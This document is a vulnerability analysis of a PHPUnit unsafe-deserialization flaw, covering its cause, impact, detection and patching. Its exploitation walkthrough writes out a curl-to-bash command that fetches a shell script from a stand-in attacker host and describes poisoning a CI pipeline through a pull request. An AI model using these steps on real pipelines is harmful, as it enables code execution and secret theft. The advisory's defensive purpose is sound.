CVE-2026-24765: 
PHP vulnerability analysis and mitigation

CVE-2026-24765 is a high-severity unsafe deserialization vulnerability in PHPUnit, the widely-used PHP testing framework, affecting the PHPT test runner's code coverage handling. The vulnerability was discovered and disclosed on January 27, 2026, and affects all PHPUnit versions prior to 8.5.52, 9.6.33, 10.5.62, 11.5.50, and 12.5.8. It carries a CVSS v3.1 base score of 7.8 (High) (GitHub Advisory). The flaw is classified under CWE-502 (Deserialization of Untrusted Data) and is particularly relevant to CI/CD pipeline environments (Red Hat Bugzilla).

The root cause is in the cleanupForCoverage() method within src/Runner/PhptTestCase.php, which calls PHP's unserialize() on the contents of .coverage files without specifying the allowed_classes parameter restriction (CWE-502). The vulnerable code pattern is: $coverage = @unserialize($buffer); — executed without any class allowlist, enabling PHP object injection (GitHub Advisory). An attacker who can write a maliciously crafted serialized PHP object (containing a __wakeup() magic method) to the filesystem path where PHPUnit expects .coverage files can trigger arbitrary code execution the next time PHPUnit runs PHPT tests with code coverage instrumentation enabled. The fix (commit 3141742) adds an ensureCoverageFileDoesNotExist() check that aborts test execution with an explicit error if a .coverage file is found before test execution begins, rather than silently deserializing it (PHPUnit Commit).

Successful exploitation grants an attacker arbitrary code execution in the context of the process running PHPUnit tests, resulting in high confidentiality, integrity, and availability impact. In CI/CD environments, this can lead to full pipeline compromise, enabling exfiltration of secrets (API keys, credentials stored in environment variables), modification of build artifacts, or lateral movement within the build infrastructure. The attack is particularly impactful in shared or multi-tenant CI/CD systems where a malicious pull request contributor could poison the pipeline without requiring elevated privileges (GitHub Advisory, Red Hat Bugzilla).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (GitHub Advisory). The EPSS score is approximately 0.085% (Feedly data), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (contributor/PR submitter access) and local file write capability to the coverage file path, limiting the attack surface primarily to CI/CD pipeline scenarios and local development environments with shared access.

1. Identify target: Locate a project that uses PHPUnit with PHPT tests and runs code coverage instrumentation in a CI/CD pipeline (e.g., GitHub Actions, GitLab CI) on an unpatched version (< 8.5.52, 9.6.33, 10.5.62, 11.5.50, or 12.5.8).
2. Craft malicious payload: Create a serialized PHP object that implements a __wakeup() magic method containing the desired payload (e.g., reverse shell, command execution). Example structure: a PHP class whose __wakeup() executes system('curl attacker.com/shell.sh | bash');.
3. Serialize the object: Use PHP to serialize the malicious object: file_put_contents('test.coverage', serialize($maliciousObject));
4. Place the .coverage file: Submit a pull request or otherwise write the malicious test.coverage file to the directory where PHPUnit expects to find PHPT test coverage files (alongside the corresponding .phpt test file).
5. Trigger test execution: Wait for the CI/CD pipeline to execute PHPUnit with coverage instrumentation enabled (e.g., phpunit --coverage-html coverage/). When cleanupForCoverage() is called, it reads and deserializes the pre-placed .coverage file, triggering __wakeup() and executing the attacker's payload.
6. Achieve objective: The payload executes in the context of the CI runner, enabling secret exfiltration, artifact tampering, or further lateral movement within the pipeline environment (GitHub Advisory, PHPUnit Commit).

• File System: Presence of a .coverage file in a PHPT test directory before test execution begins; unexpected .coverage files committed to source control repositories or present in CI workspace directories.
• Logs: PHPUnit test output containing the error message File <path>.coverage exists, PHPT test <filename> will not be executed (patched versions); unexpected PHP errors or stack traces during test runs involving unserialize() calls in PhptTestCase.php.
• Process: Unexpected child processes spawned by the PHP/PHPUnit process during test runs (e.g., curl, wget, bash, sh, python) that are not part of the test suite logic.
• Network: Outbound connections from CI/CD runner hosts to unknown external IP addresses or domains during PHPUnit test execution phases.
• CI/CD: Pull requests introducing .coverage files alongside .phpt test files; build logs showing anomalous network activity or file creation during the test coverage phase (GitHub Advisory).

Update PHPUnit to one of the patched versions immediately: 8.5.52, 9.6.33, 10.5.62, 11.5.50, or 12.5.8. Patched versions treat pre-existing .coverage files as an error condition and abort test execution with a clear error message rather than deserializing the file (GitHub Advisory). As additional defense-in-depth measures: use ephemeral, containerized CI/CD runners that discard filesystem state between runs; enforce mandatory code review before executing tests from pull requests; apply branch protection rules; isolate build artifacts; and restrict file write permissions in CI environments to trusted actors only (Red Hat Bugzilla). IBM API Connect users should refer to the IBM advisory for product-specific guidance (IBM Advisory).

The vulnerability was reported by security researcher aqhmal and reviewed for remediation by theseer (PHPUnit maintainer), who made the deliberate design choice to treat pre-existing .coverage files as an explicit error rather than silently sanitizing input — a decision noted positively in the security community for its operational transparency (GitHub Advisory). Security news outlets including SecurityOnline.info and CyberPress covered the vulnerability, highlighting its relevance to CI/CD pipeline security and Poisoned Pipeline Execution (PPE) attack patterns. The vulnerability was also picked up by Debian LTS, Fedora, Red Hat, and openSUSE package maintainers, who issued distribution-level updates. Social media discussion on Bluesky and Mastodon noted the CI/CD supply chain risk angle.